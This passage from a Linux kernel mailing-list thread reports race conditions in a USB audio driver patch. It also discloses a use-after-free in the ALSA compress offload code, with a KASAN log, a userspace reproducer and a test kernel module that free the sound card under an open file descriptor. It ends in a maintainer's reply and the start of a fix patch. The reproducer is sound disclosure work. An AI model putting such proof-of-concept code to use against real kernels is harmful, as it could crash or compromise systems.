if (tascam->feedback_synced) {
tascam->feedback_consecutive_errors++;
if (tascam->feedback_consecutive_errors >
FEEDBACK_SYNC_LOSS_THRESHOLD) {
...
schedule_work(
&tascam->stop_pcm_work);
tascam->feedback_synced = false;
break;
}
}
...
}
If capture is opened and closed (for example by an application probing the
device) while playback is running and losing feedback sync,
tascam_capture_close() cancels the pending work item and
feedback_urb_complete() will never re-queue it because feedback_synced is
already false, leaving playback running unsynchronized instead of entering
SNDRV_PCM_STATE_XRUN.
> diff --git a/sound/usb/usx2y/us144mkii_playback.c b/sound/usb/usx2y/us144mkii_playback.c
> index 7efaca0a64899..1bdc68006baf1 100644
> --- a/sound/usb/usx2y/us144mkii_playback.c
> +++ b/sound/usb/usx2y/us144mkii_playback.c
> @@ -37,6 +37,9 @@ static int tascam_playback_close(struct snd_pcm_substream *substream)
> struct tascam_card *tascam = snd_pcm_substream_chip(substream);
>
> tascam->playback_substream = NULL;
> + /* a stop_pcm_work queued on feedback sync loss must not run after
> + * ALSA detached the substream and freed its runtime */
> + cancel_work_sync(&tascam->stop_pcm_work);
>
> return 0;
> }
[Severity: High]
Can an in-flight feedback_urb_complete() schedule tascam->stop_pcm_work
again after cancel_work_sync() returns?
During close, tascam_pcm_trigger() with SNDRV_PCM_TRIGGER_STOP only queues
tascam->stop_work asynchronously to kill the anchored URBs, and neither
tascam_playback_close() nor tascam_capture_close() flushes tascam->stop_work
or kills tascam->feedback_anchor before calling
cancel_work_sync(&tascam->stop_pcm_work):
CPU0 (close) CPU1 (<softirq>)
tascam_pcm_trigger(STOP)
playback_active = 0
schedule_work(&stop_work)
feedback_urb_complete()
/* entered before URBs killed */
tascam_playback_close()
cancel_work_sync(&stop_pcm_work)
schedule_work(&stop_pcm_work) <-- re-armed
In addition, snd_pcm_stop_xrun() does not serialize against
snd_pcm_detach_substream(), because snd_pcm_detach_substream() frees
runtime->status, clears substream->runtime, and frees runtime without
taking pcm_stream_lock.
> @@ -449,8 +452,13 @@ void tascam_stop_pcm_work_handler(struct work_struct *work)
> struct tascam_card *tascam =
> container_of(work, struct tascam_card, stop_pcm_work);
>
> + /* snd_pcm_stop() requires the PCM stream lock and dereferences
> + * substream->runtime unconditionally; after a concurrent close the
> + * runtime is NULL and snd_pcm_pre_stop() oopses. Use
> + * snd_pcm_stop_xrun(), which takes the stream lock itself and
> + * rechecks substream->runtime before touching it. */
> if (tascam->playback_substream)
> - snd_pcm_stop(tascam->playback_substream, SNDRV_PCM_STATE_XRUN);
> + snd_pcm_stop_xrun(tascam->playback_substream);
> if (tascam->capture_substream)
> - snd_pcm_stop(tascam->capture_substream, SNDRV_PCM_STATE_XRUN);
> + snd_pcm_stop_xrun(tascam->capture_substream);
> }
[Severity: Medium]
Can tascam_stop_pcm_work_handler() pass a NULL substream pointer to
snd_pcm_stop_xrun() when racing with tascam_playback_close() or
tascam_capture_close()?
The close callbacks clear tascam->playback_substream and
tascam->capture_substream without a lock before calling
cancel_work_sync(&tascam->stop_pcm_work), while
tascam_stop_pcm_work_handler() reads each field unlocked in the condition
and can reload it when passing the argument to snd_pcm_stop_xrun():
CPU0 (kworker) CPU1 (close)
tascam_stop_pcm_work_handler()
if (tascam->playback_substream)
tascam_playback_close()
tascam->playback_substream = NULL;
cancel_work_sync(&tascam->stop_pcm_work)
snd_pcm_stop_xrun(tascam->playback_substream)
guard(pcm_stream_lock_irqsave)(NULL) <-- NULL pointer dereference
snd_pcm_stop_xrun() immediately dereferences substream when acquiring
pcm_stream_lock_irqsave.
--
Sashiko AI review · https://sashiko.dev/#/patchset/753f2e86.57a.1a212c1052c.Coremail.xuhx@hust.edu.cn?part=1
^ permalink raw reply [flat|nested] 101+ messages in thread
* sound: core: compress offload fd does not pin card or module, so card removal leaves a live fd pointing at freed snd_compr (KASAN UAF)
[not found] ` <2026102727-data-sequel-ce41@gregkh>
` (6 preceding siblings ...)
2026-11-13 12:29 ` ALSA: usb-audio: us144mkii: queued stop_pcm_work calls snd_pcm_stop() after PCM close and dereferences NULL runtime 徐晗翔
@ 2026-11-22 7:43 ` 徐晗翔
2026-11-22 8:07 ` Takashi Iwai
2026-11-22 7:48 ` sound: core: jack kcontrol is published before jack_kctl allocation, and the failure path frees it without removing it from card->controls (null-ptr-deref) 徐晗翔
` (33 subsequent siblings)
41 siblings, 1 reply; 101+ messages in thread
From: 徐晗翔 @ 2026-11-22 7:43 UTC (permalink / raw)
To: vkoul, perex, tiwai; +Cc: linux-sound, linux-kernel, lgirdwood, broonie
[-- Attachment #1: Type: text/plain, Size: 6864 bytes --]
snd_compr_open() opens /dev/snd/comprC*D* without adding the file to
card->files_list, without taking a persistent card device reference and
without taking a module reference; it even drops the lookup reference
with snd_card_unref() before returning. The ASoC card can therefore be
unbound and freed while the compress fd is still open, after which
ioctl/read/write/poll/close dereference freed struct snd_compr and
snd_soc_pcm_runtime objects. I reproduced this on a Linux 7.3 KASAN
kernel with a small test module: open the compress device, call
snd_card_free(), then issue ioctl() on the stale fd; the ioctl entry
already reports slab-use-after-free in mutex_lock(&stream->device->lock)
inside snd_compr_ioctl().
This is not a theoretical lost-reference issue. The upstream compress
offload code has an explicit open-file lifetime: snd_card_file_add() plus
try_module_get() at open, a data->list node linked into compr->open_list,
list_del_init() + module_put() + snd_card_file_remove() at free, and a
dev_disconnect callback that walks open_list, stops RUNNING/DRAINING/
PAUSED streams, sets SNDRV_PCM_STATE_DISCONNECTED and wakes waiters.
The current tree removed all of it at the structure level: struct
snd_compr_file no longer has a list node and struct snd_compr no longer
has open_list. Consequently snd_card_disconnect_sync(), which waits for
card->files_list to drain, returns immediately with the compress fd still
open, and the subsequent snd_soc_remove_pcm_runtime() / snd_card_free()
frees the objects the fd still points to.
The detailed description:
* Test environment / affected version
Linux version 7.3.0 (gcc 13.3.0, GNU ld 2.42) #6 SMP PREEMPT_DYNAMIC,
vanilla 7.3 source tree with KASAN and QEMU/KVM x86_64 (4 vCPU, 4 GB).
The only build-time changes were temporary Kconfig prompts to build
snd-compress.ko and snd-rawmidi.ko as modules; no functional source
change was made for this case. The exact version line is in
evidence/kernel-version.txt.
* Root cause and object lifetime
The open path, sound/core/compress_offload.c:75-143, does only:
compr = snd_lookup_minor_data(iminor(inode), SNDRV_DEVICE_TYPE_COMPRESS);
...
data = kzalloc_obj(*data);
runtime = kzalloc_obj(*runtime);
data->stream.device = compr;
f->private_data = data;
scoped_guard(mutex, &compr->lock)
ret = compr->ops->open(&data->stream);
snd_card_unref(compr->card);
There is no snd_card_file_add(compr->card, f), no
try_module_get(compr->card->module), and no list_add_tail() into an
open list. The structure definitions were changed too:
sound/core/compress_offload.c:44-49 has
struct snd_compr_file {
unsigned long caps;
struct snd_compr_stream stream;
};
while include/sound/compress_driver.h:194-210 has no open_list member
in struct snd_compr.
The free path, sound/core/compress_offload.c:145-170, calls
cancel_delayed_work_sync(), optionally trigger(STOP), task-free,
ops->free() and kfree() -- but no list_del_init(), no module_put() and
no snd_card_file_remove().
The disconnect callback, sound/core/compress_offload.c:1432-1447, is
only:
compr = device->device_data;
snd_unregister_device(compr->dev);
return 0;
It does not walk open streams, does not stop them, does not set
SNDRV_PCM_STATE_DISCONNECTED and does not wake poll/read waiters.
Upstream by contrast has all of these: snd_card_file_add() and
try_module_get() in snd_compr_open(), data->list linked into
compr->open_list, matching list_del_init()/module_put()/
snd_card_file_remove() in snd_compr_free(), and a dev_disconnect that
takes compr->lock, stops active streams and sets DISCONNECTED.
* Why card removal reaches the freed objects
The ASoC cleanup order is in sound/soc/soc-core.c:1944-1981:
soc_cleanup_card_resources() calls snd_card_disconnect_sync() first,
then for_each_card_rtds_safe() -> snd_soc_remove_pcm_runtime(), then
snd_soc_card_remove(), then snd_card_free(). snd_card_disconnect_sync()
(sound/core/init.c:571-582) waits under files_lock for files_list to
become empty. A compress fd is not in files_list, so this wait is a
no-op for it. snd_soc_remove_pcm_runtime() then releases rtd via
device_unregister(rtd->dev), while the fd still has
data->stream.device = compr and data->stream.private_data = rtd.
snd_compr_ioctl(), snd_compr_read(), snd_compr_write() and
snd_compr_poll() all begin with
guard(mutex)(&stream->device->lock), i.e. they lock a mutex inside
freed struct snd_compr before looking at stream->runtime.
* Trigger model
- A compress offload device must exist (real ASoC compress driver, or
the attached test module);
- a user with access to /dev/snd/comprC*D* opens it;
- the card is removed/unbound (driver unbind, card unregister, module
unload, or the test module's free parameter);
- the same fd is used again (ioctl/read/write/poll) or closed.
The card-removal step normally needs a privileged action, but the fd
and the removal can belong to different processes and the kernel must
not free objects that an open file still references. No hardware is
required for the reproducer.
* Reproducer (attached: sndcore_compress.c, sndcore_test.c) and results on 7.3
sndcore_compress.c registers one card with one compress device and a
minimal struct snd_compr_ops; the card private_free function kfree()s
the struct snd_compr, matching ASoC's devm_kzalloc lifetime. The
userspace program sndcore_test.c opens /dev/snd/comprC0D0, writes the
module's "free" parameter to call snd_card_free(), then calls ioctl()
on the stale fd.
Observed (evidence/mr03-kasan-uaf.log):
free: calling snd_card_free(...)
BUG: KASAN: slab-use-after-free in mutex_lock+0x72/0xe0
Write of size 8 at addr ... by task sndcore_test/88
Call Trace:
mutex_lock+0x72/0xe0
snd_compr_ioctl+0xd2/0xff0 [snd_compress]
...
BUG: KASAN: slab-use-after-free in mutex_unlock+0x6c/0xd0
snd_compr_ioctl+0x1d3/0xff0 [snd_compress]
KASAN bug count: 2
The bug count is the number of KASAN reports collected in that run;
the first report is the mutex_lock() inside the ioctl entry.
* Suggested direction
Restore the upstream lifetime in one series:
- snd_compr_open(): snd_card_file_add(), try_module_get(), link
data->list into compr->open_list;
- snd_compr_free(): list_del_init(), module_put() and
snd_card_file_remove(), with the error paths undoing in reverse;
- snd_compress_dev_disconnect(): walk compr->open_list under
compr->lock, STOP RUNNING/DRAINING/PAUSED streams, set
SNDRV_PCM_STATE_DISCONNECTED and wake waiters;
- restore struct snd_compr_file.list and struct snd_compr.open_list.
Please keep me in Cc; I am not subscribed to the lists.
Regards,
Hanxiang Xu
xuhx@hust.edu.cn
[-- Attachment #2: sndcore_test.c --]
[-- Type: text/plain, Size: 3216 bytes --]
// SPDX-License-Identifier: GPL-2.0
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <pthread.h>
#include <sys/ioctl.h>
#include <sound/asound.h>
static int write_free(const char *mod)
{
char path[256];
int fd;
snprintf(path, sizeof(path), "/sys/module/%s/parameters/free", mod);
fd = open(path, O_WRONLY);
if (fd < 0) {
fprintf(stderr, "open %s: %s\n", path, strerror(errno));
return -1;
}
if (write(fd, "1\n", 2) != 2)
fprintf(stderr, "write %s: %s\n", path, strerror(errno));
close(fd);
return 0;
}
static int do_hwdep(void)
{
struct snd_hwdep_dsp_image img;
int fd;
fd = open("/dev/snd/hwC0D0", O_RDWR);
if (fd < 0) {
fprintf(stderr, "open hwdep: %s\n", strerror(errno));
return 1;
}
memset(&img, 0, sizeof(img));
img.index = 0;
img.length = 0;
img.image = 0;
for (int i = 0; i < 4; i++) {
if (ioctl(fd, SNDRV_HWDEP_IOCTL_DSP_LOAD, &img) < 0)
fprintf(stderr, "ioctl dsp_load: %s\n", strerror(errno));
}
close(fd);
printf("HWDEP: ioctl done (max_active should be >= 2)\n");
sleep(1);
return 0;
}
static void *hwdep_thread(void *arg)
{
int fd = *(int *)arg;
struct snd_hwdep_dsp_image img;
memset(&img, 0, sizeof(img));
img.index = 0;
ioctl(fd, SNDRV_HWDEP_IOCTL_DSP_LOAD, &img);
return NULL;
}
static int do_hwdep_race(void)
{
pthread_t th[4];
int fd;
fd = open("/dev/snd/hwC0D0", O_RDWR);
if (fd < 0) {
fprintf(stderr, "open hwdep: %s\n", strerror(errno));
return 1;
}
for (int i = 0; i < 4; i++)
pthread_create(&th[i], NULL, hwdep_thread, &fd);
for (int i = 0; i < 4; i++)
pthread_join(th[i], NULL);
close(fd);
printf("HWDEP: 4 concurrent DSP_LOAD issued\n");
sleep(1);
return 0;
}
static int do_compress(void)
{
int fd;
fd = open("/dev/snd/comprC0D0", O_WRONLY);
if (fd < 0) {
fprintf(stderr, "open compress: %s\n", strerror(errno));
return 1;
}
printf("COMPRESS: fd open, freeing card\n");
write_free("sndcore_compress");
printf("COMPRESS: card free returned, issuing ioctl on stale fd\n");
if (ioctl(fd, 0x4300, 0) < 0)
fprintf(stderr, "ioctl stale fd: %s\n", strerror(errno));
printf("COMPRESS: ioctl returned without KASAN report\n");
close(fd);
sleep(1);
return 0;
}
static int do_rawmidi(void)
{
int fd;
fd = open("/dev/snd/midiC0D0", O_RDONLY);
if (fd < 0) {
fprintf(stderr, "open rawmidi: %s\n", strerror(errno));
return 1;
}
printf("RAWMIDI: fd open, letting flood thread run\n");
sleep(2);
printf("RAWMIDI: closing (trigger/cancel/free window)\n");
close(fd);
sleep(3);
printf("RAWMIDI: close returned, freeing card\n");
write_free("sndcore_rawmidi");
sleep(1);
return 0;
}
int main(int argc, char **argv)
{
if (argc < 2) {
fprintf(stderr, "usage: %s jackfree|compress|rawmidi|hwdep|hwdep-race\n", argv[0]);
return 2;
}
if (!strcmp(argv[1], "jackfree"))
return write_free("sndcore_jack");
if (!strcmp(argv[1], "compress"))
return do_compress();
if (!strcmp(argv[1], "rawmidi"))
return do_rawmidi();
if (!strcmp(argv[1], "hwdep"))
return do_hwdep();
if (!strcmp(argv[1], "hwdep-race"))
return do_hwdep_race();
fprintf(stderr, "unknown mode %s\n", argv[1]);
return 2;
}
[-- Attachment #3: sndcore_parent.h --]
[-- Type: application/octet-stream, Size: 746 bytes --]
/* SPDX-License-Identifier: GPL-2.0 */
#ifndef SNDCORE_PARENT_H
#define SNDCORE_PARENT_H
#include <linux/device.h>
#include <sound/core.h>
static struct device *sndcore_parent;
static inline int sndcore_card_new(struct snd_card **card, const char *name)
{
int err;
sndcore_parent = root_device_register(name);
if (IS_ERR(sndcore_parent)) {
err = PTR_ERR(sndcore_parent);
sndcore_parent = NULL;
return err;
}
err = snd_card_new(sndcore_parent, 0, "sndcore", THIS_MODULE, 0, card);
if (err < 0) {
root_device_unregister(sndcore_parent);
sndcore_parent = NULL;
}
return err;
}
static inline void sndcore_parent_put(void)
{
if (sndcore_parent) {
root_device_unregister(sndcore_parent);
sndcore_parent = NULL;
}
}
#endif
[-- Attachment #4: sndcore_compress.c --]
[-- Type: text/plain, Size: 2050 bytes --]
// SPDX-License-Identifier: GPL-2.0
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/slab.h>
#include <sound/core.h>
#include <sound/compress_driver.h>
#include "sndcore_parent.h"
static struct snd_card *card;
static struct snd_compr *compr;
static int c_open(struct snd_compr_stream *stream) { return 0; }
static int c_free(struct snd_compr_stream *stream) { return 0; }
static int c_trigger(struct snd_compr_stream *stream, int cmd) { return 0; }
static struct snd_compr_ops compr_ops = {
.open = c_open,
.free = c_free,
.trigger = c_trigger,
};
static int free_set(const char *val, const struct kernel_param *kp)
{
if (card) {
pr_info("free: calling snd_card_free(%p)\n", card);
snd_card_free(card);
card = NULL;
}
return 0;
}
static const struct kernel_param_ops free_ops = { .set = free_set };
module_param_cb(free, &free_ops, NULL, 0200);
static void card_private_free(struct snd_card *c)
{
pr_info("card private_free: kfree(compr=%p)\n", compr);
kfree(compr);
compr = NULL;
}
static int __init sndcore_compress_init(void)
{
int err;
err = sndcore_card_new(&card, "sndcore_compress");
if (err < 0)
return err;
compr = kzalloc(sizeof(*compr), GFP_KERNEL);
if (!compr) {
snd_card_free(card);
card = NULL;
sndcore_parent_put();
return -ENOMEM;
}
compr->ops = &compr_ops;
card->private_free = card_private_free;
err = snd_compress_new(card, 0, SND_COMPRESS_PLAYBACK, "sndcore", compr);
if (err < 0) {
kfree(compr);
compr = NULL;
snd_card_free(card);
card = NULL;
sndcore_parent_put();
return err;
}
err = snd_card_register(card);
if (err < 0) {
snd_card_free(card);
card = NULL;
sndcore_parent_put();
return err;
}
pr_info("compress card registered\n");
return 0;
}
static void __exit sndcore_compress_exit(void)
{
if (card) {
snd_card_free(card);
card = NULL;
}
sndcore_parent_put();
}
module_init(sndcore_compress_init);
module_exit(sndcore_compress_exit);
MODULE_LICENSE("GPL");
MODULE_DESCRIPTION("sound/core MR-03 compress open_list verifier");
^ permalink raw reply [flat|nested] 101+ messages in thread* Re: sound: core: compress offload fd does not pin card or module, so card removal leaves a live fd pointing at freed snd_compr (KASAN UAF)
2026-11-22 7:43 ` sound: core: compress offload fd does not pin card or module, so card removal leaves a live fd pointing at freed snd_compr (KASAN UAF) 徐晗翔
@ 2026-11-22 8:07 ` Takashi Iwai
2026-11-25 12:44 ` [PATCH] Re: " 徐晗翔
0 siblings, 1 reply; 101+ messages in thread
From: Takashi Iwai @ 2026-11-22 8:07 UTC (permalink / raw)
To: 徐晗翔
Cc: vkoul, perex, tiwai, linux-sound, linux-kernel, lgirdwood,
broonie
On Sun, 22 Nov 2026 08:43:32 +0100,
徐晗翔 wrote:
>
> snd_compr_open() opens /dev/snd/comprC*D* without adding the file to
> card->files_list, without taking a persistent card device reference and
> without taking a module reference; it even drops the lookup reference
> with snd_card_unref() before returning. The ASoC card can therefore be
> unbound and freed while the compress fd is still open, after which
> ioctl/read/write/poll/close dereference freed struct snd_compr and
> snd_soc_pcm_runtime objects. I reproduced this on a Linux 7.3 KASAN
> kernel with a small test module: open the compress device, call
> snd_card_free(), then issue ioctl() on the stale fd; the ioctl entry
> already reports slab-use-after-free in mutex_lock(&stream->device->lock)
> inside snd_compr_ioctl().
>
> This is not a theoretical lost-reference issue. The upstream compress
> offload code has an explicit open-file lifetime: snd_card_file_add() plus
> try_module_get() at open, a data->list node linked into compr->open_list,
> list_del_init() + module_put() + snd_card_file_remove() at free, and a
> dev_disconnect callback that walks open_list, stops RUNNING/DRAINING/
> PAUSED streams, sets SNDRV_PCM_STATE_DISCONNECTED and wakes waiters.
> The current tree removed all of it at the structure level: struct
> snd_compr_file no longer has a list node and struct snd_compr no longer
> has open_list. Consequently snd_card_disconnect_sync(), which waits for
> card->files_list to drain, returns immediately with the compress fd still
> open, and the subsequent snd_soc_remove_pcm_runtime() / snd_card_free()
> frees the objects the fd still points to.
>
> The detailed description:
>
> * Test environment / affected version
>
> Linux version 7.3.0 (gcc 13.3.0, GNU ld 2.42) #6 SMP PREEMPT_DYNAMIC,
> vanilla 7.3 source tree with KASAN and QEMU/KVM x86_64 (4 vCPU, 4 GB).
> The only build-time changes were temporary Kconfig prompts to build
> snd-compress.ko and snd-rawmidi.ko as modules; no functional source
> change was made for this case. The exact version line is in
> evidence/kernel-version.txt.
>
> * Root cause and object lifetime
>
> The open path, sound/core/compress_offload.c:75-143, does only:
>
> compr = snd_lookup_minor_data(iminor(inode), SNDRV_DEVICE_TYPE_COMPRESS);
> ...
> data = kzalloc_obj(*data);
> runtime = kzalloc_obj(*runtime);
> data->stream.device = compr;
> f->private_data = data;
> scoped_guard(mutex, &compr->lock)
> ret = compr->ops->open(&data->stream);
> snd_card_unref(compr->card);
>
> There is no snd_card_file_add(compr->card, f), no
> try_module_get(compr->card->module), and no list_add_tail() into an
> open list. The structure definitions were changed too:
> sound/core/compress_offload.c:44-49 has
>
> struct snd_compr_file {
> unsigned long caps;
> struct snd_compr_stream stream;
> };
>
> while include/sound/compress_driver.h:194-210 has no open_list member
> in struct snd_compr.
>
> The free path, sound/core/compress_offload.c:145-170, calls
> cancel_delayed_work_sync(), optionally trigger(STOP), task-free,
> ops->free() and kfree() -- but no list_del_init(), no module_put() and
> no snd_card_file_remove().
>
> The disconnect callback, sound/core/compress_offload.c:1432-1447, is
> only:
>
> compr = device->device_data;
> snd_unregister_device(compr->dev);
> return 0;
>
> It does not walk open streams, does not stop them, does not set
> SNDRV_PCM_STATE_DISCONNECTED and does not wake poll/read waiters.
>
> Upstream by contrast has all of these: snd_card_file_add() and
> try_module_get() in snd_compr_open(), data->list linked into
> compr->open_list, matching list_del_init()/module_put()/
> snd_card_file_remove() in snd_compr_free(), and a dev_disconnect that
> takes compr->lock, stops active streams and sets DISCONNECTED.
>
> * Why card removal reaches the freed objects
>
> The ASoC cleanup order is in sound/soc/soc-core.c:1944-1981:
> soc_cleanup_card_resources() calls snd_card_disconnect_sync() first,
> then for_each_card_rtds_safe() -> snd_soc_remove_pcm_runtime(), then
> snd_soc_card_remove(), then snd_card_free(). snd_card_disconnect_sync()
> (sound/core/init.c:571-582) waits under files_lock for files_list to
> become empty. A compress fd is not in files_list, so this wait is a
> no-op for it. snd_soc_remove_pcm_runtime() then releases rtd via
> device_unregister(rtd->dev), while the fd still has
> data->stream.device = compr and data->stream.private_data = rtd.
> snd_compr_ioctl(), snd_compr_read(), snd_compr_write() and
> snd_compr_poll() all begin with
> guard(mutex)(&stream->device->lock), i.e. they lock a mutex inside
> freed struct snd_compr before looking at stream->runtime.
>
> * Trigger model
>
> - A compress offload device must exist (real ASoC compress driver, or
> the attached test module);
> - a user with access to /dev/snd/comprC*D* opens it;
> - the card is removed/unbound (driver unbind, card unregister, module
> unload, or the test module's free parameter);
> - the same fd is used again (ioctl/read/write/poll) or closed.
>
> The card-removal step normally needs a privileged action, but the fd
> and the removal can belong to different processes and the kernel must
> not free objects that an open file still references. No hardware is
> required for the reproducer.
>
> * Reproducer (attached: sndcore_compress.c, sndcore_test.c) and results on 7.3
>
> sndcore_compress.c registers one card with one compress device and a
> minimal struct snd_compr_ops; the card private_free function kfree()s
> the struct snd_compr, matching ASoC's devm_kzalloc lifetime. The
> userspace program sndcore_test.c opens /dev/snd/comprC0D0, writes the
> module's "free" parameter to call snd_card_free(), then calls ioctl()
> on the stale fd.
>
> Observed (evidence/mr03-kasan-uaf.log):
>
> free: calling snd_card_free(...)
> BUG: KASAN: slab-use-after-free in mutex_lock+0x72/0xe0
> Write of size 8 at addr ... by task sndcore_test/88
> Call Trace:
> mutex_lock+0x72/0xe0
> snd_compr_ioctl+0xd2/0xff0 [snd_compress]
> ...
> BUG: KASAN: slab-use-after-free in mutex_unlock+0x6c/0xd0
> snd_compr_ioctl+0x1d3/0xff0 [snd_compress]
> KASAN bug count: 2
>
> The bug count is the number of KASAN reports collected in that run;
> the first report is the mutex_lock() inside the ioctl entry.
>
>
>
> * Suggested direction
>
> Restore the upstream lifetime in one series:
> - snd_compr_open(): snd_card_file_add(), try_module_get(), link
> data->list into compr->open_list;
> - snd_compr_free(): list_del_init(), module_put() and
> snd_card_file_remove(), with the error paths undoing in reverse;
> - snd_compress_dev_disconnect(): walk compr->open_list under
> compr->lock, STOP RUNNING/DRAINING/PAUSED streams, set
> SNDRV_PCM_STATE_DISCONNECTED and wake waiters;
> - restore struct snd_compr_file.list and struct snd_compr.open_list.
>
>
> Please keep me in Cc; I am not subscribed to the lists.
>
> Regards,
> Hanxiang Xu
> xuhx@hust.edu.cn
> // SPDX-License-Identifier: GPL-2.0
> #define _GNU_SOURCE
> #include <stdio.h>
> #include <stdlib.h>
> #include <string.h>
> #include <fcntl.h>
> #include <unistd.h>
> #include <errno.h>
> #include <pthread.h>
> #include <sys/ioctl.h>
> #include <sound/asound.h>
>
> static int write_free(const char *mod)
> {
> char path[256];
> int fd;
>
> snprintf(path, sizeof(path), "/sys/module/%s/parameters/free", mod);
> fd = open(path, O_WRONLY);
> if (fd < 0) {
> fprintf(stderr, "open %s: %s\n", path, strerror(errno));
> return -1;
> }
> if (write(fd, "1\n", 2) != 2)
> fprintf(stderr, "write %s: %s\n", path, strerror(errno));
> close(fd);
> return 0;
> }
>
> static int do_hwdep(void)
> {
> struct snd_hwdep_dsp_image img;
> int fd;
>
> fd = open("/dev/snd/hwC0D0", O_RDWR);
> if (fd < 0) {
> fprintf(stderr, "open hwdep: %s\n", strerror(errno));
> return 1;
> }
> memset(&img, 0, sizeof(img));
> img.index = 0;
> img.length = 0;
> img.image = 0;
> for (int i = 0; i < 4; i++) {
> if (ioctl(fd, SNDRV_HWDEP_IOCTL_DSP_LOAD, &img) < 0)
> fprintf(stderr, "ioctl dsp_load: %s\n", strerror(errno));
> }
> close(fd);
> printf("HWDEP: ioctl done (max_active should be >= 2)\n");
> sleep(1);
> return 0;
> }
>
> static void *hwdep_thread(void *arg)
> {
> int fd = *(int *)arg;
> struct snd_hwdep_dsp_image img;
>
> memset(&img, 0, sizeof(img));
> img.index = 0;
> ioctl(fd, SNDRV_HWDEP_IOCTL_DSP_LOAD, &img);
> return NULL;
> }
>
> static int do_hwdep_race(void)
> {
> pthread_t th[4];
> int fd;
>
> fd = open("/dev/snd/hwC0D0", O_RDWR);
> if (fd < 0) {
> fprintf(stderr, "open hwdep: %s\n", strerror(errno));
> return 1;
> }
> for (int i = 0; i < 4; i++)
> pthread_create(&th[i], NULL, hwdep_thread, &fd);
> for (int i = 0; i < 4; i++)
> pthread_join(th[i], NULL);
> close(fd);
> printf("HWDEP: 4 concurrent DSP_LOAD issued\n");
> sleep(1);
> return 0;
> }
>
> static int do_compress(void)
> {
> int fd;
>
> fd = open("/dev/snd/comprC0D0", O_WRONLY);
> if (fd < 0) {
> fprintf(stderr, "open compress: %s\n", strerror(errno));
> return 1;
> }
> printf("COMPRESS: fd open, freeing card\n");
> write_free("sndcore_compress");
> printf("COMPRESS: card free returned, issuing ioctl on stale fd\n");
> if (ioctl(fd, 0x4300, 0) < 0)
> fprintf(stderr, "ioctl stale fd: %s\n", strerror(errno));
> printf("COMPRESS: ioctl returned without KASAN report\n");
> close(fd);
> sleep(1);
> return 0;
> }
>
> static int do_rawmidi(void)
> {
> int fd;
>
> fd = open("/dev/snd/midiC0D0", O_RDONLY);
> if (fd < 0) {
> fprintf(stderr, "open rawmidi: %s\n", strerror(errno));
> return 1;
> }
> printf("RAWMIDI: fd open, letting flood thread run\n");
> sleep(2);
> printf("RAWMIDI: closing (trigger/cancel/free window)\n");
> close(fd);
> sleep(3);
> printf("RAWMIDI: close returned, freeing card\n");
> write_free("sndcore_rawmidi");
> sleep(1);
> return 0;
> }
>
> int main(int argc, char **argv)
> {
> if (argc < 2) {
> fprintf(stderr, "usage: %s jackfree|compress|rawmidi|hwdep|hwdep-race\n", argv[0]);
> return 2;
> }
> if (!strcmp(argv[1], "jackfree"))
> return write_free("sndcore_jack");
> if (!strcmp(argv[1], "compress"))
> return do_compress();
> if (!strcmp(argv[1], "rawmidi"))
> return do_rawmidi();
> if (!strcmp(argv[1], "hwdep"))
> return do_hwdep();
> if (!strcmp(argv[1], "hwdep-race"))
> return do_hwdep_race();
> fprintf(stderr, "unknown mode %s\n", argv[1]);
> return 2;
> }
>
> // SPDX-License-Identifier: GPL-2.0
> #include <linux/module.h>
> #include <linux/kernel.h>
> #include <linux/slab.h>
> #include <sound/core.h>
> #include <sound/compress_driver.h>
> #include "sndcore_parent.h"
>
> static struct snd_card *card;
> static struct snd_compr *compr;
>
> static int c_open(struct snd_compr_stream *stream) { return 0; }
> static int c_free(struct snd_compr_stream *stream) { return 0; }
> static int c_trigger(struct snd_compr_stream *stream, int cmd) { return 0; }
>
> static struct snd_compr_ops compr_ops = {
> .open = c_open,
> .free = c_free,
> .trigger = c_trigger,
> };
>
> static int free_set(const char *val, const struct kernel_param *kp)
> {
> if (card) {
> pr_info("free: calling snd_card_free(%p)\n", card);
> snd_card_free(card);
> card = NULL;
> }
> return 0;
> }
> static const struct kernel_param_ops free_ops = { .set = free_set };
> module_param_cb(free, &free_ops, NULL, 0200);
>
> static void card_private_free(struct snd_card *c)
> {
> pr_info("card private_free: kfree(compr=%p)\n", compr);
> kfree(compr);
> compr = NULL;
> }
>
> static int __init sndcore_compress_init(void)
> {
> int err;
>
> err = sndcore_card_new(&card, "sndcore_compress");
> if (err < 0)
> return err;
>
> compr = kzalloc(sizeof(*compr), GFP_KERNEL);
> if (!compr) {
> snd_card_free(card);
> card = NULL;
> sndcore_parent_put();
> return -ENOMEM;
> }
> compr->ops = &compr_ops;
> card->private_free = card_private_free;
>
> err = snd_compress_new(card, 0, SND_COMPRESS_PLAYBACK, "sndcore", compr);
> if (err < 0) {
> kfree(compr);
> compr = NULL;
> snd_card_free(card);
> card = NULL;
> sndcore_parent_put();
> return err;
> }
> err = snd_card_register(card);
> if (err < 0) {
> snd_card_free(card);
> card = NULL;
> sndcore_parent_put();
> return err;
> }
> pr_info("compress card registered\n");
> return 0;
> }
>
> static void __exit sndcore_compress_exit(void)
> {
> if (card) {
> snd_card_free(card);
> card = NULL;
> }
> sndcore_parent_put();
> }
>
> module_init(sndcore_compress_init);
> module_exit(sndcore_compress_exit);
> MODULE_LICENSE("GPL");
> MODULE_DESCRIPTION("sound/core MR-03 compress open_list verifier");
Thanks for the report.
But, as I already requested in your previous reports, could you rather
submit a fix patch along with the report? I suppose you're working
with AI, so it's just a matter of asking it to the model.
Takashi
^ permalink raw reply [flat|nested] 101+ messages in thread* [PATCH] Re: Re: sound: core: compress offload fd does not pin card or module, so card removal leaves a live fd pointing at freed snd_compr (KASAN UAF)
2026-11-22 8:07 ` Takashi Iwai
@ 2026-11-25 12:44 ` 徐晗翔
2026-11-25 14:21 ` Takashi Iwai
0 siblings, 1 reply; 101+ messages in thread
From: 徐晗翔 @ 2026-11-25 12:44 UTC (permalink / raw)
To: Takashi Iwai
Cc: vkoul, perex, tiwai, linux-sound, linux-kernel, lgirdwood,
broonie
snd_compr_open() dropped the lookup reference before returning and
took neither a card reference nor a module reference, and kept no
per-fd node: the card could be unbound and freed while a compress
fd was still open, and the next ioctl/read/write/poll/close
dereferenced freed struct snd_compr and snd_soc_pcm_runtime
objects (KASAN slab-use-after-free in snd_compr_ioctl()).
Restore the open-file lifetime: snd_card_file_add() (which also
puts the fd on card->files_list so snd_card_disconnect_sync() waits
for it) plus try_module_get() at open; a data->list node linked into
